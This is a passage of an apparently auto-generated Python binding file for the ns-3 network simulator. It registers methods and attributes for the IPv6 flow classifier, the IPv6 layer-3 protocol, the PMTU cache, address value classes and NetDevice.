ipv6-flow-classifier.h (module 'flow-monitor'): bool ns3::Ipv6FlowClassifier::Classify(ns3::Ipv6Header const & ipHeader, ns3::Ptr<const ns3::Packet> ipPayload, uint32_t * out_flowId, uint32_t * out_packetId) [member function] cls.add_method('Classify', 'bool', [param('ns3::Ipv6Header const &', 'ipHeader'), param('ns3::Ptr< ns3::Packet const >', 'ipPayload'), param('uint32_t *', 'out_flowId'), param('uint32_t *', 'out_packetId')]) ## ipv6-flow-classifier.h (module 'flow-monitor'): ns3::Ipv6FlowClassifier::FiveTuple ns3::Ipv6FlowClassifier::FindFlow(ns3::FlowId flowId) const [member function] cls.add_method('FindFlow', 'ns3::Ipv6FlowClassifier::FiveTuple', [param('ns3::FlowId', 'flowId')], is_const=True) ## ipv6-flow-classifier.h (module 'flow-monitor'): void ns3::Ipv6FlowClassifier::SerializeToXmlStream(std::ostream & os, int indent) const [member function] cls.add_method('SerializeToXmlStream', 'void', [param('std::ostream &', 'os'), param('int', 'indent')], is_const=True, is_virtual=True) return def register_Ns3Ipv6FlowClassifierFiveTuple_methods(root_module, cls): cls.add_binary_comparison_operator('<') cls.add_binary_comparison_operator('==') ## ipv6-flow-classifier.h (module 'flow-monitor'): ns3::Ipv6FlowClassifier::FiveTuple::FiveTuple() [constructor] cls.add_constructor([]) ## ipv6-flow-classifier.h (module 'flow-monitor'): ns3::Ipv6FlowClassifier::FiveTuple::FiveTuple(ns3::Ipv6FlowClassifier::FiveTuple const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv6FlowClassifier::FiveTuple const &', 'arg0')]) ## ipv6-flow-classifier.h (module 'flow-monitor'): ns3::Ipv6FlowClassifier::FiveTuple::destinationAddress [variable] cls.add_instance_attribute('destinationAddress', 'ns3::Ipv6Address', is_const=False) ## ipv6-flow-classifier.h (module 'flow-monitor'): ns3::Ipv6FlowClassifier::FiveTuple::destinationPort [variable] cls.add_instance_attribute('destinationPort', 'uint16_t', is_const=False) ## ipv6-flow-classifier.h (module 'flow-monitor'): ns3::Ipv6FlowClassifier::FiveTuple::protocol [variable] cls.add_instance_attribute('protocol', 'uint8_t', is_const=False) ## ipv6-flow-classifier.h (module 'flow-monitor'): ns3::Ipv6FlowClassifier::FiveTuple::sourceAddress [variable] cls.add_instance_attribute('sourceAddress', 'ns3::Ipv6Address', is_const=False) ## ipv6-flow-classifier.h (module 'flow-monitor'): ns3::Ipv6FlowClassifier::FiveTuple::sourcePort [variable] cls.add_instance_attribute('sourcePort', 'uint16_t', is_const=False) return def register_Ns3Ipv6FlowProbe_methods(root_module, cls): ## ipv6-flow-probe.h (module 'flow-monitor'): ns3::Ipv6FlowProbe::Ipv6FlowProbe(ns3::Ptr<ns3::FlowMonitor> monitor, ns3::Ptr<ns3::Ipv6FlowClassifier> classifier, ns3::Ptr<ns3::Node> node) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::FlowMonitor >', 'monitor'), param('ns3::Ptr< ns3::Ipv6FlowClassifier >', 'classifier'), param('ns3::Ptr< ns3::Node >', 'node')]) ## ipv6-flow-probe.h (module 'flow-monitor'): static ns3::TypeId ns3::Ipv6FlowProbe::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## ipv6-flow-probe.h (module 'flow-monitor'): void ns3::Ipv6FlowProbe::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], visibility='protected', is_virtual=True) return def register_Ns3Ipv6L3Protocol_methods(root_module, cls): ## ipv6-l3-protocol.h (module 'internet'): ns3::Ipv6L3Protocol::PROT_NUMBER [variable] cls.add_static_attribute('PROT_NUMBER', 'uint16_t const', is_const=True) ## ipv6-l3-protocol.h (module 'internet'): static ns3::TypeId ns3::Ipv6L3Protocol::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## ipv6-l3-protocol.h (module 'internet'): ns3::Ipv6L3Protocol::Ipv6L3Protocol() [constructor] cls.add_constructor([]) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetNode(ns3::Ptr<ns3::Node> node) [member function] cls.add_method('SetNode', 'void', [param('ns3::Ptr< ns3::Node >', 'node')]) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::Insert(ns3::Ptr<ns3::IpL4Protocol> protocol) [member function] cls.add_method('Insert', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::Insert(ns3::Ptr<ns3::IpL4Protocol> protocol, uint32_t interfaceIndex) [member function] cls.add_method('Insert', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol'), param('uint32_t', 'interfaceIndex')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::Remove(ns3::Ptr<ns3::IpL4Protocol> protocol) [member function] cls.add_method('Remove', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::Remove(ns3::Ptr<ns3::IpL4Protocol> protocol, uint32_t interfaceIndex) [member function] cls.add_method('Remove', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol'), param('uint32_t', 'interfaceIndex')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::IpL4Protocol> ns3::Ipv6L3Protocol::GetProtocol(int protocolNumber) const [member function] cls.add_method('GetProtocol', 'ns3::Ptr< ns3::IpL4Protocol >', [param('int', 'protocolNumber')], is_const=True, is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::IpL4Protocol> ns3::Ipv6L3Protocol::GetProtocol(int protocolNumber, int32_t interfaceIndex) const [member function] cls.add_method('GetProtocol', 'ns3::Ptr< ns3::IpL4Protocol >', [param('int', 'protocolNumber'), param('int32_t', 'interfaceIndex')], is_const=True, is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Socket> ns3::Ipv6L3Protocol::CreateRawSocket() [member function] cls.add_method('CreateRawSocket', 'ns3::Ptr< ns3::Socket >', []) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::DeleteRawSocket(ns3::Ptr<ns3::Socket> socket) [member function] cls.add_method('DeleteRawSocket', 'void', [param('ns3::Ptr< ns3::Socket >', 'socket')]) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetDefaultTtl(uint8_t ttl) [member function] cls.add_method('SetDefaultTtl', 'void', [param('uint8_t', 'ttl')]) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetDefaultTclass(uint8_t tclass) [member function] cls.add_method('SetDefaultTclass', 'void', [param('uint8_t', 'tclass')]) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::Receive(ns3::Ptr<ns3::NetDevice> device, ns3::Ptr<const ns3::Packet> p, uint16_t protocol, ns3::Address const & from, ns3::Address const & to, ns3::NetDevice::PacketType packetType) [member function] cls.add_method('Receive', 'void', [param('ns3::Ptr< ns3::NetDevice >', 'device'), param('ns3::Ptr< ns3::Packet const >', 'p'), param('uint16_t', 'protocol'), param('ns3::Address const &', 'from'), param('ns3::Address const &', 'to'), param('ns3::NetDevice::PacketType', 'packetType')]) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::Send(ns3::Ptr<ns3::Packet> packet, ns3::Ipv6Address source, ns3::Ipv6Address destination, uint8_t protocol, ns3::Ptr<ns3::Ipv6Route> route) [member function] cls.add_method('Send', 'void', [param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv6Address', 'source'), param('ns3::Ipv6Address', 'destination'), param('uint8_t', 'protocol'), param('ns3::Ptr< ns3::Ipv6Route >', 'route')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetRoutingProtocol(ns3::Ptr<ns3::Ipv6RoutingProtocol> routingProtocol) [member function] cls.add_method('SetRoutingProtocol', 'void', [param('ns3::Ptr< ns3::Ipv6RoutingProtocol >', 'routingProtocol')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Ipv6RoutingProtocol> ns3::Ipv6L3Protocol::GetRoutingProtocol() const [member function] cls.add_method('GetRoutingProtocol', 'ns3::Ptr< ns3::Ipv6RoutingProtocol >', [], is_const=True, is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): uint32_t ns3::Ipv6L3Protocol::AddInterface(ns3::Ptr<ns3::NetDevice> device) [member function] cls.add_method('AddInterface', 'uint32_t', [param('ns3::Ptr< ns3::NetDevice >', 'device')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Ipv6Interface> ns3::Ipv6L3Protocol::GetInterface(uint32_t i) const [member function] cls.add_method('GetInterface', 'ns3::Ptr< ns3::Ipv6Interface >', [param('uint32_t', 'i')], is_const=True) ## ipv6-l3-protocol.h (module 'internet'): uint32_t ns3::Ipv6L3Protocol::GetNInterfaces() const [member function] cls.add_method('GetNInterfaces', 'uint32_t', [], is_const=True, is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): int32_t ns3::Ipv6L3Protocol::GetInterfaceForAddress(ns3::Ipv6Address addr) const [member function] cls.add_method('GetInterfaceForAddress', 'int32_t', [param('ns3::Ipv6Address', 'addr')], is_const=True, is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): int32_t ns3::Ipv6L3Protocol::GetInterfaceForPrefix(ns3::Ipv6Address addr, ns3::Ipv6Prefix mask) const [member function] cls.add_method('GetInterfaceForPrefix', 'int32_t', [param('ns3::Ipv6Address', 'addr'), param('ns3::Ipv6Prefix', 'mask')], is_const=True, is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): int32_t ns3::Ipv6L3Protocol::GetInterfaceForDevice(ns3::Ptr<const ns3::NetDevice> device) const [member function] cls.add_method('GetInterfaceForDevice', 'int32_t', [param('ns3::Ptr< ns3::NetDevice const >', 'device')], is_const=True, is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::AddAddress(uint32_t i, ns3::Ipv6InterfaceAddress address) [member function] cls.add_method('AddAddress', 'bool', [param('uint32_t', 'i'), param('ns3::Ipv6InterfaceAddress', 'address')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): ns3::Ipv6InterfaceAddress ns3::Ipv6L3Protocol::GetAddress(uint32_t interfaceIndex, uint32_t addressIndex) const [member function] cls.add_method('GetAddress', 'ns3::Ipv6InterfaceAddress', [param('uint32_t', 'interfaceIndex'), param('uint32_t', 'addressIndex')], is_const=True, is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): uint32_t ns3::Ipv6L3Protocol::GetNAddresses(uint32_t interface) const [member function] cls.add_method('GetNAddresses', 'uint32_t', [param('uint32_t', 'interface')], is_const=True, is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::RemoveAddress(uint32_t interfaceIndex, uint32_t addressIndex) [member function] cls.add_method('RemoveAddress', 'bool', [param('uint32_t', 'interfaceIndex'), param('uint32_t', 'addressIndex')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::RemoveAddress(uint32_t interfaceIndex, ns3::Ipv6Address address) [member function] cls.add_method('RemoveAddress', 'bool', [param('uint32_t', 'interfaceIndex'), param('ns3::Ipv6Address', 'address')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetMetric(uint32_t i, uint16_t metric) [member function] cls.add_method('SetMetric', 'void', [param('uint32_t', 'i'), param('uint16_t', 'metric')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): uint16_t ns3::Ipv6L3Protocol::GetMetric(uint32_t i) const [member function] cls.add_method('GetMetric', 'uint16_t', [param('uint32_t', 'i')], is_const=True, is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): uint16_t ns3::Ipv6L3Protocol::GetMtu(uint32_t i) const [member function] cls.add_method('GetMtu', 'uint16_t', [param('uint32_t', 'i')], is_const=True, is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetPmtu(ns3::Ipv6Address dst, uint32_t pmtu) [member function] cls.add_method('SetPmtu', 'void', [param('ns3::Ipv6Address', 'dst'), param('uint32_t', 'pmtu')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::IsUp(uint32_t i) const [member function] cls.add_method('IsUp', 'bool', [param('uint32_t', 'i')], is_const=True, is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetUp(uint32_t i) [member function] cls.add_method('SetUp', 'void', [param('uint32_t', 'i')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetDown(uint32_t i) [member function] cls.add_method('SetDown', 'void', [param('uint32_t', 'i')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::IsForwarding(uint32_t i) const [member function] cls.add_method('IsForwarding', 'bool', [param('uint32_t', 'i')], is_const=True, is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetForwarding(uint32_t i, bool val) [member function] cls.add_method('SetForwarding', 'void', [param('uint32_t', 'i'), param('bool', 'val')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6L3Protocol::SourceAddressSelection(uint32_t interface, ns3::Ipv6Address dest) [member function] cls.add_method('SourceAddressSelection', 'ns3::Ipv6Address', [param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'dest')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv6L3Protocol::GetNetDevice(uint32_t i) [member function] cls.add_method('GetNetDevice', 'ns3::Ptr< ns3::NetDevice >', [param('uint32_t', 'i')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): ns3::Ptr<ns3::Icmpv6L4Protocol> ns3::Ipv6L3Protocol::GetIcmpv6() const [member function] cls.add_method('GetIcmpv6', 'ns3::Ptr< ns3::Icmpv6L4Protocol >', [], is_const=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::AddAutoconfiguredAddress(uint32_t interface, ns3::Ipv6Address network, ns3::Ipv6Prefix mask, uint8_t flags, uint32_t validTime, uint32_t preferredTime, ns3::Ipv6Address defaultRouter=ns3::Ipv6Address::GetZero( )) [member function] cls.add_method('AddAutoconfiguredAddress', 'void', [param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'network'), param('ns3::Ipv6Prefix', 'mask'), param('uint8_t', 'flags'), param('uint32_t', 'validTime'), param('uint32_t', 'preferredTime'), param('ns3::Ipv6Address', 'defaultRouter', default_value='ns3::Ipv6Address::GetZero( )')]) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::RemoveAutoconfiguredAddress(uint32_t interface, ns3::Ipv6Address network, ns3::Ipv6Prefix mask, ns3::Ipv6Address defaultRouter) [member function] cls.add_method('RemoveAutoconfiguredAddress', 'void', [param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'network'), param('ns3::Ipv6Prefix', 'mask'), param('ns3::Ipv6Address', 'defaultRouter')]) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::RegisterExtensions() [member function] cls.add_method('RegisterExtensions', 'void', [], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::RegisterOptions() [member function] cls.add_method('RegisterOptions', 'void', [], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::ReportDrop(ns3::Ipv6Header ipHeader, ns3::Ptr<ns3::Packet> p, ns3::Ipv6L3Protocol::DropReason dropReason) [member function] cls.add_method('ReportDrop', 'void', [param('ns3::Ipv6Header', 'ipHeader'), param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv6L3Protocol::DropReason', 'dropReason')], is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::AddMulticastAddress(ns3::Ipv6Address address) [member function] cls.add_method('AddMulticastAddress', 'void', [param('ns3::Ipv6Address', 'address')]) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::AddMulticastAddress(ns3::Ipv6Address address, uint32_t interface) [member function] cls.add_method('AddMulticastAddress', 'void', [param('ns3::Ipv6Address', 'address'), param('uint32_t', 'interface')]) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::RemoveMulticastAddress(ns3::Ipv6Address address) [member function] cls.add_method('RemoveMulticastAddress', 'void', [param('ns3::Ipv6Address', 'address')]) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::RemoveMulticastAddress(ns3::Ipv6Address address, uint32_t interface) [member function] cls.add_method('RemoveMulticastAddress', 'void', [param('ns3::Ipv6Address', 'address'), param('uint32_t', 'interface')]) ## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::IsRegisteredMulticastAddress(ns3::Ipv6Address address) const [member function] cls.add_method('IsRegisteredMulticastAddress', 'bool', [param('ns3::Ipv6Address', 'address')], is_const=True) ## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::IsRegisteredMulticastAddress(ns3::Ipv6Address address, uint32_t interface) const [member function] cls.add_method('IsRegisteredMulticastAddress', 'bool', [param('ns3::Ipv6Address', 'address'), param('uint32_t', 'interface')], is_const=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], visibility='protected', is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::NotifyNewAggregate() [member function] cls.add_method('NotifyNewAggregate', 'void', [], visibility='protected', is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetIpForward(bool forward) [member function] cls.add_method('SetIpForward', 'void', [param('bool', 'forward')], visibility='private', is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::GetIpForward() const [member function] cls.add_method('GetIpForward', 'bool', [], is_const=True, visibility='private', is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetMtuDiscover(bool mtuDiscover) [member function] cls.add_method('SetMtuDiscover', 'void', [param('bool', 'mtuDiscover')], visibility='private', is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::GetMtuDiscover() const [member function] cls.add_method('GetMtuDiscover', 'bool', [], is_const=True, visibility='private', is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): void ns3::Ipv6L3Protocol::SetSendIcmpv6Redirect(bool sendIcmpv6Redirect) [member function] cls.add_method('SetSendIcmpv6Redirect', 'void', [param('bool', 'sendIcmpv6Redirect')], visibility='private', is_virtual=True) ## ipv6-l3-protocol.h (module 'internet'): bool ns3::Ipv6L3Protocol::GetSendIcmpv6Redirect() const [member function] cls.add_method('GetSendIcmpv6Redirect', 'bool', [], is_const=True, visibility='private', is_virtual=True) return def register_Ns3Ipv6PmtuCache_methods(root_module, cls): ## ipv6-pmtu-cache.h (module 'internet'): ns3::Ipv6PmtuCache::Ipv6PmtuCache(ns3::Ipv6PmtuCache const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv6PmtuCache const &', 'arg0')]) ## ipv6-pmtu-cache.h (module 'internet'): ns3::Ipv6PmtuCache::Ipv6PmtuCache() [constructor] cls.add_constructor([]) ## ipv6-pmtu-cache.h (module 'internet'): void ns3::Ipv6PmtuCache::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], is_virtual=True) ## ipv6-pmtu-cache.h (module 'internet'): uint32_t ns3::Ipv6PmtuCache::GetPmtu(ns3::Ipv6Address dst) [member function] cls.add_method('GetPmtu', 'uint32_t', [param('ns3::Ipv6Address', 'dst')]) ## ipv6-pmtu-cache.h (module 'internet'): ns3::Time ns3::Ipv6PmtuCache::GetPmtuValidityTime() const [member function] cls.add_method('GetPmtuValidityTime', 'ns3::Time', [], is_const=True) ## ipv6-pmtu-cache.h (module 'internet'): static ns3::TypeId ns3::Ipv6PmtuCache::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## ipv6-pmtu-cache.h (module 'internet'): void ns3::Ipv6PmtuCache::SetPmtu(ns3::Ipv6Address dst, uint32_t pmtu) [member function] cls.add_method('SetPmtu', 'void', [param('ns3::Ipv6Address', 'dst'), param('uint32_t', 'pmtu')]) ## ipv6-pmtu-cache.h (module 'internet'): bool ns3::Ipv6PmtuCache::SetPmtuValidityTime(ns3::Time validity) [member function] cls.add_method('SetPmtuValidityTime', 'bool', [param('ns3::Time', 'validity')]) return def register_Ns3Ipv6PrefixChecker_methods(root_module, cls): ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker::Ipv6PrefixChecker() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker::Ipv6PrefixChecker(ns3::Ipv6PrefixChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv6PrefixChecker const &', 'arg0')]) return def register_Ns3Ipv6PrefixValue_methods(root_module, cls): ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue::Ipv6PrefixValue() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue::Ipv6PrefixValue(ns3::Ipv6PrefixValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv6PrefixValue const &', 'arg0')]) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue::Ipv6PrefixValue(ns3::Ipv6Prefix const & value) [constructor] cls.add_constructor([param('ns3::Ipv6Prefix const &', 'value')]) ## ipv6-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv6PrefixValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6PrefixValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix ns3::Ipv6PrefixValue::Get() const [member function] cls.add_method('Get', 'ns3::Ipv6Prefix', [], is_const=True) ## ipv6-address.h (module 'network'): std::string ns3::Ipv6PrefixValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6PrefixValue::Set(ns3::Ipv6Prefix const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Ipv6Prefix const &', 'value')]) return def register_Ns3Mac48AddressChecker_methods(root_module, cls): ## mac48-address.h (module 'network'): ns3::Mac48AddressChecker::Mac48AddressChecker() [constructor] cls.add_constructor([]) ## mac48-address.h (module 'network'): ns3::Mac48AddressChecker::Mac48AddressChecker(ns3::Mac48AddressChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::Mac48AddressChecker const &', 'arg0')]) return def register_Ns3Mac48AddressValue_methods(root_module, cls): ## mac48-address.h (module 'network'): ns3::Mac48AddressValue::Mac48AddressValue() [constructor] cls.add_constructor([]) ## mac48-address.h (module 'network'): ns3::Mac48AddressValue::Mac48AddressValue(ns3::Mac48AddressValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::Mac48AddressValue const &', 'arg0')]) ## mac48-address.h (module 'network'): ns3::Mac48AddressValue::Mac48AddressValue(ns3::Mac48Address const & value) [constructor] cls.add_constructor([param('ns3::Mac48Address const &', 'value')]) ## mac48-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Mac48AddressValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## mac48-address.h (module 'network'): bool ns3::Mac48AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## mac48-address.h (module 'network'): ns3::Mac48Address ns3::Mac48AddressValue::Get() const [member function] cls.add_method('Get', 'ns3::Mac48Address', [], is_const=True) ## mac48-address.h (module 'network'): std::string ns3::Mac48AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## mac48-address.h (module 'network'): void ns3::Mac48AddressValue::Set(ns3::Mac48Address const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Mac48Address const &', 'value')]) return def register_Ns3NetDevice_methods(root_module, cls): ## net-device.h (module 'network'): ns3::NetDevice::NetDevice() [constructor] cls.add_constructor([]) ## net-device.h (module 'network'): ns3::NetDevice::NetDevice(ns3::NetDevice const & arg0) [copy constructor] cls.add_constructor([param('ns3::NetDevice const &', 'arg0')]) ## net-device.h (module 'network'): void ns3::NetDevice::AddLinkChangeCallback(ns3::Callback<void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> callback) [member function] cls.add_method('AddLinkChangeCallback', 'void', [param('ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'callback')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetAddress() const [member function] cls.add_method('GetAddress', 'ns3::Address', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetBroadcast() const [member function] cls.add_method('GetBroadcast', 'ns3::Address', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): ns3::Ptr<ns3::Channel> ns3::NetDevice::GetChannel() const [member function] cls.add_method('GetChannel', 'ns3::Ptr< ns3::Channel >', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): uint32_t ns3::NetDevice::GetIfIndex() const [member function] cls.add_method('GetIfIndex', 'uint32_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): uint16_t ns3::NetDevice::GetMtu() const [member function] cls.add_method('GetMtu', 'uint16_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetMulticast(ns3::Ipv4Address multicastGroup) const [member function] cls.add_method('GetMulticast', 'ns3::Address', [param('ns3::Ipv4Address', 'multicastGroup')], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): ns3::Address ns3::NetDevice::GetMulticast(ns3::Ipv6Address addr) const [member function] cls.add_method('GetMulticast', 'ns3::Address', [param('ns3::Ipv6Address', 'addr')], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): ns3::Ptr<ns3::Node> ns3::NetDevice::GetNode() const [member function] cls.add_method('GetNode', 'ns3::Ptr< ns3::Node >', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): static ns3::TypeId ns3::NetDevice::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## net-device.h (module 'network'): bool ns3::NetDevice::IsBridge() const [member function] cls.add_method('IsBridge', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::IsBroadcast() const [member function] cls.add_method('IsBroadcast', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::IsLinkUp() const [member function] cls.add_method('IsLinkUp', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::IsMulticast() const [member function] cls.add_method('IsMulticast', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::IsPointToPoint() const [member function] cls.add_method('IsPointToPoint', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::NeedsArp() const [member function] cls.add_method('NeedsArp', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::Send(ns3::Ptr<ns3::Packet> packet, ns3::Address const & dest, uint16_t protocolNumber) [member function] cls.add_method('Send', 'bool', [param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::SendFrom(ns3::Ptr<ns3::Packet> packet, ns3::Address const & source, ns3::Address const & dest, uint16_t protocolNumber) [member function] cls.add_method('SendFrom', 'bool', [param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'source'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): void ns3::NetDevice::SetAddress(ns3::Address address) [member function] 